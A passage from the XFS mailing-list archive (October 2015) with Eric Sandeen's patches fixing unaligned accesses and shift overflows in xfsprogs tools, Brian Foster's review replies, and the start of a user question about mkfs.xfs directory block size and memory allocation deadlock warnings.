QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This fixes some unaligned accesses spotted by libubsan in xfs_metadump. Signed-off-by: Eric Sandeen --- db/metadump.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index af96e12..39f893d 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -1872,8 +1872,8 @@ scanfunc_bmap( xfs_agnumber_t ag; xfs_agblock_t bno; - ag = XFS_FSB_TO_AGNO(mp, be64_to_cpu(pp[i])); - bno = XFS_FSB_TO_AGBNO(mp, be64_to_cpu(pp[i])); + ag = XFS_FSB_TO_AGNO(mp, get_unaligned_be64(&pp[i])); + bno = XFS_FSB_TO_AGBNO(mp, get_unaligned_be64(&pp[i])); if (bno == 0 || bno > mp->m_sb.sb_agblocks || ag > mp->m_sb.sb_agcount) { @@ -1938,8 +1938,8 @@ process_btinode( xfs_agnumber_t ag; xfs_agblock_t bno; - ag = XFS_FSB_TO_AGNO(mp, be64_to_cpu(pp[i])); - bno = XFS_FSB_TO_AGBNO(mp, be64_to_cpu(pp[i])); + ag = XFS_FSB_TO_AGNO(mp, get_unaligned_be64(&pp[i])); + bno = XFS_FSB_TO_AGBNO(mp, get_unaligned_be64(&pp[i])); if (bno == 0 || bno > mp->m_sb.sb_agblocks || ag > mp->m_sb.sb_agcount) { -- 2.6.1 From sandeen@sandeen.net Fri Oct 9 14:53:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 951CE7F8C for ; Fri, 9 Oct 2015 14:53:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2CC1AAC001 for ; Fri, 9 Oct 2015 12:53:40 -0700 (PDT) X-ASG-Debug-ID: 1444420418-04cbb03f136b0e0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id RWRnAxuxZNUyJcHK for ; Fri, 09 Oct 2015 12:53:38 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7850763C77A5 for ; Fri, 9 Oct 2015 14:53:38 -0500 (CDT) Subject: [PATCH 5/5] xfs_repair: fix left-shift overflows To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 5/5] xfs_repair: fix left-shift overflows References: <56181A17.9080503@sandeen.net> From: Eric Sandeen Message-ID: <56181B42.3080304@sandeen.net> Date: Fri, 9 Oct 2015 14:53:38 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56181A17.9080503@sandeen.net> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444420418 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- pmask in struct parent_list is a __uint64_t, but in some places we populated it with "1LL << shift" where shift could be up to 63; this really needs to be a 1ULL type for this to be correct. Also spotted by libubsan... Signed-off-by: Eric Sandeen Reviewed-by: Brian Foster --- repair/incore_ino.c | 14 +++++++------- repair/prefetch.c | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/repair/incore_ino.c b/repair/incore_ino.c index 32d7678..1898257 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -625,7 +625,7 @@ set_inode_parent( else irec->ino_un.plist = ptbl; - ptbl->pmask = 1LL << offset; + ptbl->pmask = 1ULL << offset; ptbl->pentries = (xfs_ino_t*)memalign(sizeof(xfs_ino_t), sizeof(xfs_ino_t)); if (!ptbl->pentries) @@ -638,8 +638,8 @@ set_inode_parent( return; } - if (ptbl->pmask & (1LL << offset)) { - bitmask = 1LL; + if (ptbl->pmask & (1ULL << offset)) { + bitmask = 1ULL; target = 0; for (i = 0; i < offset; i++) { @@ -655,7 +655,7 @@ set_inode_parent( return; } - bitmask = 1LL; + bitmask = 1ULL; cnt = target = 0; for (i = 0; i < XFS_INODES_PER_CHUNK; i++) { @@ -691,7 +691,7 @@ set_inode_parent( ptbl->cnt++; #endif ptbl->pentries[target] = parent; - ptbl->pmask |= (1LL << offset); + ptbl->pmask |= (1ULL << offset); } xfs_ino_t @@ -707,8 +707,8 @@ get_inode_parent(ino_tree_node_t *irec, int offset) else ptbl = irec->ino_un.plist; - if (ptbl->pmask & (1LL << offset)) { - bitmask = 1LL; + if (ptbl->pmask & (1ULL << offset)) { + bitmask = 1ULL; target = 0; for (i = 0; i < offset; i++) { diff --git a/repair/prefetch.c b/repair/prefetch.c index 52238ca..b11dcb3 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -762,7 +762,7 @@ pf_queuing_worker( * sparse state in cluster sized chunks as cluster size * is the min. granularity of sparse irec regions. */ - if ((sparse & ((1 << inodes_per_cluster) - 1)) == 0) + if ((sparse & ((1ULL << inodes_per_cluster) - 1)) == 0) pf_queue_io(args, &map, 1, (cur_irec->ino_isa_dir != 0) ? B_DIR_INODE : B_INODE); -- 2.6.1 From bfoster@redhat.com Fri Oct 9 15:08:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A892A7F91 for ; Fri, 9 Oct 2015 15:08:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9BF5F304039 for ; Fri, 9 Oct 2015 13:08:26 -0700 (PDT) X-ASG-Debug-ID: 1444421304-04cbb03f146b770001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id OmxOdotEbdCg2FuW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 13:08:25 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id A3065C0BE06A; Fri, 9 Oct 2015 20:08:24 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99K8Oci022857; Fri, 9 Oct 2015 16:08:24 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id C3E4B123DCD; Fri, 9 Oct 2015 16:08:22 -0400 (EDT) Date: Fri, 9 Oct 2015 16:08:22 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfs_repair: fix unaligned accesses Message-ID: <20151009200822.GG27982@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs_repair: fix unaligned accesses References: <56181A17.9080503@sandeen.net> <56181AAD.9080505@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56181AAD.9080505@sandeen.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444421305 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 09, 2015 at 02:51:09PM -0500, Eric Sandeen wrote: > This fixes some unaligned accesses spotted by libubsan in repair. > > See Documentation/unaligned-memory-access.txt in the kernel > tree for why these can be a problem. > > Signed-off-by: Eric Sandeen > --- Reviewed-by: Brian Foster > > V2: > Add note about why ... > Add another in libxfs_bmbt_disk_get_all > Fix mistaken double-swap in dinode.c in original patch > > include/libxfs.h | 4 ++-- > repair/dinode.c | 47 ++++++++++++++++++++++++----------------------- > repair/prefetch.c | 4 ++-- > 3 files changed, 28 insertions(+), 27 deletions(-) > > diff --git a/include/libxfs.h b/include/libxfs.h > index b1604e2..52fb483 100644 > --- a/include/libxfs.h > +++ b/include/libxfs.h > @@ -206,8 +206,8 @@ libxfs_bmbt_disk_get_all( > { > struct xfs_bmbt_rec_host hrec; > > - hrec.l0 = be64_to_cpu(rp->l0); > - hrec.l1 = be64_to_cpu(rp->l1); > + hrec.l0 = get_unaligned_be64(&rp->l0); > + hrec.l1 = get_unaligned_be64(&rp->l1); > libxfs_bmbt_get_all(&hrec, irec); > } > > diff --git a/repair/dinode.c b/repair/dinode.c > index f78f907..f99cba3 100644 > --- a/repair/dinode.c > +++ b/repair/dinode.c > @@ -960,15 +960,17 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), > * btree, we'd do it right here. For now, if there's a > * problem, we'll bail out and presumably clear the inode. > */ > - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { > - do_warn(_("bad bmap btree ptr 0x%llx in ino %" PRIu64 "\n"), > - (unsigned long long) be64_to_cpu(pp[i]), lino); > + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { > + do_warn( > +("bad bmap btree ptr 0x%" PRIx64 " in ino %" PRIu64 "\n"), > + get_unaligned_be64(&pp[i]), lino); > return(1); > } > > - if (scan_lbtree(be64_to_cpu(pp[i]), level, scan_bmapbt, type, > - whichfork, lino, tot, nex, blkmapp, &cursor, > - 1, check_dups, magic, &xfs_bmbt_buf_ops)) > + if (scan_lbtree(get_unaligned_be64(&pp[i]), level, scan_bmapbt, > + type, whichfork, lino, tot, nex, blkmapp, > + &cursor, 1, check_dups, magic, > + &xfs_bmbt_buf_ops)) > return(1); > /* > * fix key (offset) mismatches between the keys in root > @@ -977,28 +979,27 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), > * blocks but the parent hasn't been updated > */ > if (!check_dups && cursor.level[level-1].first_key != > - be64_to_cpu(pkey[i].br_startoff)) { > + get_unaligned_be64(&pkey[i].br_startoff)) { > if (!no_modify) { > do_warn( > - _("correcting key in bmbt root (was %llu, now %" PRIu64") in inode " > - "%" PRIu64" %s fork\n"), > - (unsigned long long) > - be64_to_cpu(pkey[i].br_startoff), > - cursor.level[level-1].first_key, > - XFS_AGINO_TO_INO(mp, agno, ino), > - forkname); > +_("correcting key in bmbt root (was %" PRIu64 ", now %" PRIu64") in inode " > + "%" PRIu64" %s fork\n"), > + get_unaligned_be64(&pkey[i].br_startoff), > + cursor.level[level-1].first_key, > + XFS_AGINO_TO_INO(mp, agno, ino), > + forkname); > *dirty = 1; > - pkey[i].br_startoff = cpu_to_be64( > - cursor.level[level-1].first_key); > + put_unaligned_be64( > + cursor.level[level-1].first_key, > + &pkey[i].br_startoff); > } else { > do_warn( > - _("bad key in bmbt root (is %llu, would reset to %" PRIu64 ") in inode " > - "%" PRIu64 " %s fork\n"), > - (unsigned long long) > - be64_to_cpu(pkey[i].br_startoff), > - cursor.level[level-1].first_key, > - XFS_AGINO_TO_INO(mp, agno, ino), > - forkname); > +_("bad key in bmbt root (is %" PRIu64 ", would reset to %" PRIu64 ") in inode " > + "%" PRIu64 " %s fork\n"), > + get_unaligned_be64(&pkey[i].br_startoff), > + cursor.level[level-1].first_key, > + XFS_AGINO_TO_INO(mp, agno, ino), > + forkname); > } > } > /* > diff --git a/repair/prefetch.c b/repair/prefetch.c > index 32ec55e..52238ca 100644 > --- a/repair/prefetch.c > +++ b/repair/prefetch.c > @@ -330,7 +330,7 @@ pf_scanfunc_bmap( > pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); > > for (i = 0; i < numrecs; i++) { > - dbno = be64_to_cpu(pp[i]); > + dbno = get_unaligned_be64(&pp[i]); > if (!verify_dfsbno(mp, dbno)) > return 0; > if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) > @@ -372,7 +372,7 @@ pf_read_btinode( > pp = XFS_BMDR_PTR_ADDR(dib, 1, xfs_bmdr_maxrecs(dsize, 0)); > > for (i = 0; i < numrecs; i++) { > - dbno = be64_to_cpu(pp[i]); > + dbno = get_unaligned_be64(&pp[i]); > if (!verify_dfsbno(mp, dbno)) > break; > if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) > -- > 2.6.1 > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 9 15:08:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4CFAA7F96 for ; Fri, 9 Oct 2015 15:08:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 409978F8033 for ; Fri, 9 Oct 2015 13:08:31 -0700 (PDT) X-ASG-Debug-ID: 1444421309-04cb6c578b67b00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id OtBgYoBJxac50MYG (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 13:08:30 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id AA9F691E9F; Fri, 9 Oct 2015 20:08:29 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99K8TZB031733; Fri, 9 Oct 2015 16:08:29 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id E9388123DCD; Fri, 9 Oct 2015 16:08:27 -0400 (EDT) Date: Fri, 9 Oct 2015 16:08:27 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] xfs_logprint: fix some unaligned accesses Message-ID: <20151009200827.GH27982@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 3/5] xfs_logprint: fix some unaligned accesses References: <56181A17.9080503@sandeen.net> <56181AF0.7090904@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56181AF0.7090904@sandeen.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444421310 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 09, 2015 at 02:52:16PM -0500, Eric Sandeen wrote: > This routine had a fair bit of gyration to avoid unaligned > accesses, but didn't fix them all. > Fix some more spotted at runtime by libubsan. > > Signed-off-by: Eric Sandeen > --- > > V2: Change variable scope, remove extraneous hunk > Thanks! Reviewed-by: Brian Foster > logprint/log_misc.c | 21 +++++++++++++++------ > 1 file changed, 15 insertions(+), 6 deletions(-) > > diff --git a/logprint/log_misc.c b/logprint/log_misc.c > index d76145c..4cdcbec 100644 > --- a/logprint/log_misc.c > +++ b/logprint/log_misc.c > @@ -243,9 +243,6 @@ int > xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) > { > xfs_buf_log_format_t *f; > - xfs_agi_t *agi; > - xfs_agf_t *agf; > - xfs_disk_dquot_t *dq; > xlog_op_header_t *head = NULL; > int num, skip; > int super_block = 0; > @@ -325,7 +322,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) > } > super_block = 0; > } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_AGI_MAGIC) { > - agi = (xfs_agi_t *)(*ptr); > + struct xfs_agi *agi, agi_s; > + > + /* memmove because *ptr may not be 8-byte aligned */ > + agi = &agi_s; > + memmove(agi, *ptr, sizeof(struct xfs_agi)); > printf(_("AGI Buffer: XAGI ")); > /* > * v4 filesystems only contain the fields before the uuid. > @@ -375,7 +376,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) > } > } > } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_AGF_MAGIC) { > - agf = (xfs_agf_t *)(*ptr); > + struct xfs_agf *agf, agf_s; > + > + /* memmove because *ptr may not be 8-byte aligned */ > + agf = &agf_s; > + memmove(agf, *ptr, sizeof(struct xfs_agf)); > printf(_("AGF Buffer: XAGF ")); > /* > * v4 filesystems only contain the fields before the uuid. > @@ -408,7 +413,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) > be32_to_cpu(agf->agf_longest)); > } > } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_DQUOT_MAGIC) { > - dq = (xfs_disk_dquot_t *)(*ptr); > + struct xfs_disk_dquot *dq, dq_s; > + > + /* memmove because *ptr may not be 8-byte aligned */ > + dq = &dq_s; > + memmove(dq, *ptr, sizeof(struct xfs_disk_dquot)); > printf(_("DQUOT Buffer: DQ ")); > if (be32_to_cpu(head->oh_len) < > sizeof(xfs_disk_dquot_t)) { > -- > 2.6.1 > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 9 15:08:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D66FD7F96 for ; Fri, 9 Oct 2015 15:08:34 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA0428F8033 for ; Fri, 9 Oct 2015 13:08:34 -0700 (PDT) X-ASG-Debug-ID: 1444421313-04cbb03f146b780001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id xALUbt3KvFSmgCQc (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 13:08:33 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id 6141032C420; Fri, 9 Oct 2015 20:08:33 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99K8X0A022887; Fri, 9 Oct 2015 16:08:33 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 9E425123DCD; Fri, 9 Oct 2015 16:08:31 -0400 (EDT) Date: Fri, 9 Oct 2015 16:08:31 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs_metadump: Fix unaligned accesses Message-ID: <20151009200831.GI27982@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs_metadump: Fix unaligned accesses References: <56181A17.9080503@sandeen.net> <56181B1C.6030508@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56181B1C.6030508@sandeen.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444421313 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 09, 2015 at 02:53:00PM -0500, Eric Sandeen wrote: > This fixes some unaligned accesses spotted by libubsan in > xfs_metadump. > > Signed-off-by: Eric Sandeen > --- Looks good: Reviewed-by: Brian Foster > db/metadump.c | 8 ++++---- > 1 file changed, 4 insertions(+), 4 deletions(-) > > diff --git a/db/metadump.c b/db/metadump.c > index af96e12..39f893d 100644 > --- a/db/metadump.c > +++ b/db/metadump.c > @@ -1872,8 +1872,8 @@ scanfunc_bmap( > xfs_agnumber_t ag; > xfs_agblock_t bno; > > - ag = XFS_FSB_TO_AGNO(mp, be64_to_cpu(pp[i])); > - bno = XFS_FSB_TO_AGBNO(mp, be64_to_cpu(pp[i])); > + ag = XFS_FSB_TO_AGNO(mp, get_unaligned_be64(&pp[i])); > + bno = XFS_FSB_TO_AGBNO(mp, get_unaligned_be64(&pp[i])); > > if (bno == 0 || bno > mp->m_sb.sb_agblocks || > ag > mp->m_sb.sb_agcount) { > @@ -1938,8 +1938,8 @@ process_btinode( > xfs_agnumber_t ag; > xfs_agblock_t bno; > > - ag = XFS_FSB_TO_AGNO(mp, be64_to_cpu(pp[i])); > - bno = XFS_FSB_TO_AGBNO(mp, be64_to_cpu(pp[i])); > + ag = XFS_FSB_TO_AGNO(mp, get_unaligned_be64(&pp[i])); > + bno = XFS_FSB_TO_AGBNO(mp, get_unaligned_be64(&pp[i])); > > if (bno == 0 || bno > mp->m_sb.sb_agblocks || > ag > mp->m_sb.sb_agcount) { > -- > 2.6.1 > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From alau2@cisco.com Fri Oct 9 17:40:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 298B97F67 for ; Fri, 9 Oct 2015 17:40:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0F642304053 for ; Fri, 9 Oct 2015 15:40:06 -0700 (PDT) X-ASG-Debug-ID: 1444430402-04cbb03f126f8f0001-NocioJ Received: from rcdn-iport-9.cisco.com (rcdn-iport-9.cisco.com [173.37.86.80]) by cuda.sgi.com with ESMTP id ycI0PGw02UMDOnT7 (version=TLSv1 cipher=IDEA-CBC-SHA bits=128 verify=NO) for ; Fri, 09 Oct 2015 15:40:02 -0700 (PDT) X-Barracuda-Envelope-From: alau2@cisco.com X-Barracuda-Apparent-Source-IP: 173.37.86.80 X-ASG-Whitelist: EmailCat (corporate) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=@cisco.com; l=10453; q=dns/txt; s=iport; t=1444430404; x=1445640004; h=from:to:subject:date:message-id:mime-version; bh=k7v3FthBJGSlXoHwtXZ+C9uJsOobLgCLpuTGQjYLd5Y=; b=BpqRuYlE3bju7jesFkS+xx8KIgbWDeWmaj1V0yzV/7vThQcQtND8yK6d tbDZ2NvbHMIEhmYLYUKOfXn2bJiyNZGp9eOp297/qQxh8AAsSLiT3vQgE PJYE5B0AcoG/55QGjrOmXFbUxynCSQu4WVuIpXQOSCVoau19XKvEvTwZD M=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A0DOAgDQQRhW/51dJa1EGoJZTVRvBb00KwENgVohgnKCCn8CgUY4FAEBAQEBAQF/C4QoAQQtQR0BKlYmAQQbE4gTDTufVKN8AQEBAQEBAQMBAQEBAQEBARqQTS2DJYEUBY0NiQUBhRiJWY0TiSWDbxEOAQFChAKHVYEGAQEB X-IronPort-AV: E=Sophos;i="5.17,660,1437436800"; d="scan'208,217";a="34316455" Received: from rcdn-core-6.cisco.com ([173.37.93.157]) by rcdn-iport-9.cisco.com with ESMTP; 09 Oct 2015 22:40:01 +0000 Received: from XCH-RCD-006.cisco.com (xch-rcd-006.cisco.com [173.37.102.16]) by rcdn-core-6.cisco.com (8.14.5/8.14.5) with ESMTP id t99Me1Mu006185 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=FAIL) for ; Fri, 9 Oct 2015 22:40:01 GMT Received: from xch-rcd-006.cisco.com (173.37.102.16) by XCH-RCD-006.cisco.com (173.37.102.16) with Microsoft SMTP Server (TLS) id 15.0.1104.5; Fri, 9 Oct 2015 17:39:56 -0500 Received: from xhc-rcd-x04.cisco.com (173.37.183.78) by xch-rcd-006.cisco.com (173.37.102.16) with Microsoft SMTP Server (TLS) id 15.0.1104.5 via Frontend Transport; Fri, 9 Oct 2015 17:39:56 -0500 Received: from xmb-rcd-x14.cisco.com ([169.254.4.203]) by xhc-rcd-x04.cisco.com ([173.37.183.78]) with mapi id 14.03.0248.002; Fri, 9 Oct 2015 17:40:00 -0500 From: "Al Lau (alau2)" To: "xfs@oss.sgi.com" Subject: mkfs.xfs -n size=65536 Thread-Topic: mkfs.xfs -n size=65536 X-ASG-Orig-Subj: mkfs.xfs -n size=65536 Thread-Index: AdEC1680Gy4Y381SQNu4wXlh8fvUqw== Date: Fri, 9 Oct 2015 22:40:00 +0000 Message-ID: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.128.10.66] Content-Type: multipart/alternative; boundary="_000_0F279340237AA148AD7E3C6A70561A5E01266BE7xmbrcdx14ciscoc_" MIME-Version: 1.0 X-Barracuda-Connect: rcdn-iport-9.cisco.com[173.37.86.80] X-Barracuda-Start-Time: 1444430402 X-Barracuda-Encrypted: IDEA-CBC-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --_000_0F279340237AA148AD7E3C6A70561A5E01266BE7xmbrcdx14ciscoc_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I am looking for more details on the "-n size=3D65536" option in mkfs.xfs. = The question is the memory allocation this option generates. The system i= s Redhat EL 7.0 (3.10.0-229.1.2.el7.x86_64). We have been getting this memory allocation deadlock message in the /var/lo= g/messages file. The file system is used for ceph OSD and it has about 531= 894 files. Oct 6 07:11:09 abc-ceph1-xyz kernel: XFS: possible memory allocation deadl= ock in kmem_alloc (mode:0x8250) Reading this post, https://access.redhat.com/solutions/532663 it discussed = the "memory allocation deadlock" message. It looks like the root cause is = a very fragmented file. Is setting the "-n size=3D65536" option on the fil= e system causes (directly or indirectly) the "memory allocation deadlock" e= rror? Here is a note on the "-n size=3D65536". The FAQ note is more on the CPU a= nd IO performance. http://xfs.org/index.php/XFS_FAQ " Q: Performance: mkfs.xfs -n size=3D64k option Asking the implications of that mkfs option on the XFS mailing list, Dave Chinner explained it this way: Inodes are not stored in the directory structure, only the directory entry = name and the inode number. Hence the amount of space used by a directory entry = is determined by the length of the name. There is extra overhead to allocate large directory blocks (16 pages instea= d of one, to begin with, then there's the vmap overhead, etc), so for small directories smaller block sizes are faster for create and unlink operations= . For empty directories, operations on 4k block sized directories consume rou= ghly 50% less CPU that 64k block size directories. The 4k block 